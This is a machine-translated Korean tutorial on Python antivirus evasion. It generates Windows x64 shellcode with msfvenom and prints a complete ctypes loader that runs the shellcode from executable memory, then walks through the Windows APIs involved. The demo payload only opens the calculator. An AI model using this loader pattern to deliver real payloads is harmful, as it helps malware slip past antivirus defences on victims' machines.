먼저 다음 명령을 통해 쉘코드를 생성하고 msfvenom -p 옵션을 사용하여 paylaod를 지정합니다. 여기에서는 windows/x64 및 exec 모듈에서 수신하는 매개변수를 선택합니다. calc.exe를 사용하여 계산기를 띄우세요. -f 옵션은 생성된 shellcdoe의 컴파일된 언어를 실행하는 데 사용됩니다.
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
프로그램은 다음과 같습니다.
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
모듈을 가져오면 프로그램이 메모리를 할당하고 읽기 및 쓰기 작업을 수행할 수 있습니다.
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
읽고 쓸 수 있는 지역 실행 코드
PAGE_EXECUTE_READWRITE = 0x00000040
메모리 할당
MEM_COMMIT = 0x3000
프로세스에 모든 권한 부여
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
Windows API 호출
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
이전에 생성된 쉘코드를 쉘코드 매개변수에 할당하고 bytearray 함수를 사용하여 처리 할당하기 전에
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
메서드를 생성하고 호출하고, 메모리를 적용하고, 쉘코드를 할당된 메모리 포인터로 지정하고, 쉘코드를 메모리에 복사하고, 스레드 이벤트를 생성하고 실행합니다.
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc은 메모리 공간을 적용하는 데 사용됩니다. 선언은 다음과 같습니다.
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory는 지정된 메모리에서 다른 메모리로 메모리를 복사합니다. 구문은 다음과 같습니다.
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
매개변수:
Destination: 이동 대상 주소에 대한 포인터입니다.
소스: 복사할 메모리 주소에 대한 포인터입니다.
길이: 복사할 바이트 수를 지정합니다.
CreateThread는 새 스레드를 생성하기 위해 Microsoft에서 제공하는 Windows API 함수입니다. 이 함수는 메인 스레드를 기반으로 새 스레드를 생성합니다.
함수 프로토타입:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
매개변수 의미
lpThreadAttributes: SECURITY_ATTRIBUTES 유형의 구조에 대한 포인터. 이 매개변수는 Windows 98에서는 무시됩니다. Windows NT에서 NULL은 기본 보안을 사용하며 하위 스레드에서 상속될 수 없습니다. 그렇지 않으면 bInheritHandle 멤버를 TRUE로 초기화하도록 구조를 정의해야 합니다.
dwStackSize, 초기 스택 크기를 바이트 단위로 설정합니다. 0인 경우 이 함수를 호출하는 스레드와 동일한 스택 공간 크기가 기본적으로 사용됩니다. 어떤 경우든 Windows는 필요에 따라 스택 크기를 동적으로 확장합니다.
lpStartAddress, 형식: @function name, 함수 이름에는 제한이 없습니다.
lpParameter: 스레드 함수에 전달된 매개변수는 구조에 대한 포인터입니다. 매개변수를 전달해야 하는데 NULL 입니다.
dwCreationFlags: 스레드 플래그, 사용 가능한 값은 다음과 같습니다.
(1) CREATE_SUSPENDED (0x00000004): 일시 중단된 스레드 생성,
(2) 0: 생성 직후 활성화를 나타냅니다.
(3) STACK_SIZE_PARAM_IS_A_RESERVATION (0x00010000): dwStackSize 매개변수는 초기 예약 스택 크기를 지정하고, 그렇지 않으면 dwStackSize가 제출된 크기를 지정합니다. 이 태그 값은 Windows 2000/NT 및 Windows Me/98/95에서는 지원되지 않습니다.
lpThreadId: 새 스레드의 ID를 저장합니다.
WaitForSingleObject는 Windows API 함수입니다. 대기가 아직 보류 중인 동안 핸들이 닫히면 함수 동작이 정의되지 않습니다. 핸들에는 SYNCHRONIZE 액세스 권한이 있어야 합니다.
선언:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in] 개체 핸들입니다. 이벤트, 작업, 메모리 리소스 알림, 뮤텍스, 프로세스, 세마포어, 스레드, 대기 가능 타이머 등과 같은 일련의 개체를 지정할 수 있습니다.
dwMilliseconds[in] 타이밍 시간 간격, 단위는 밀리초(milliseconds)입니다. 0이 아닌 값을 지정하면 함수는 hHandle로 표시된 개체가 트리거되거나 시간이 만료될 때까지 대기 상태에 있습니다. dwMilliseconds가 0이면 객체는 신호를 받지 않고 함수는 대기 상태로 들어가지 않으며 항상 즉시 반환됩니다. dwMilliseconds가 INFINITE인 경우 개체가 트리거될 때까지 함수가 반환되지 않습니다.
프로그램을 실행하면 계산기가 성공적으로 팝업됩니다.
위 내용은 Python 안티 바이러스 기술 쉘코드의 로딩 및 실행 방법은 무엇입니까?의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!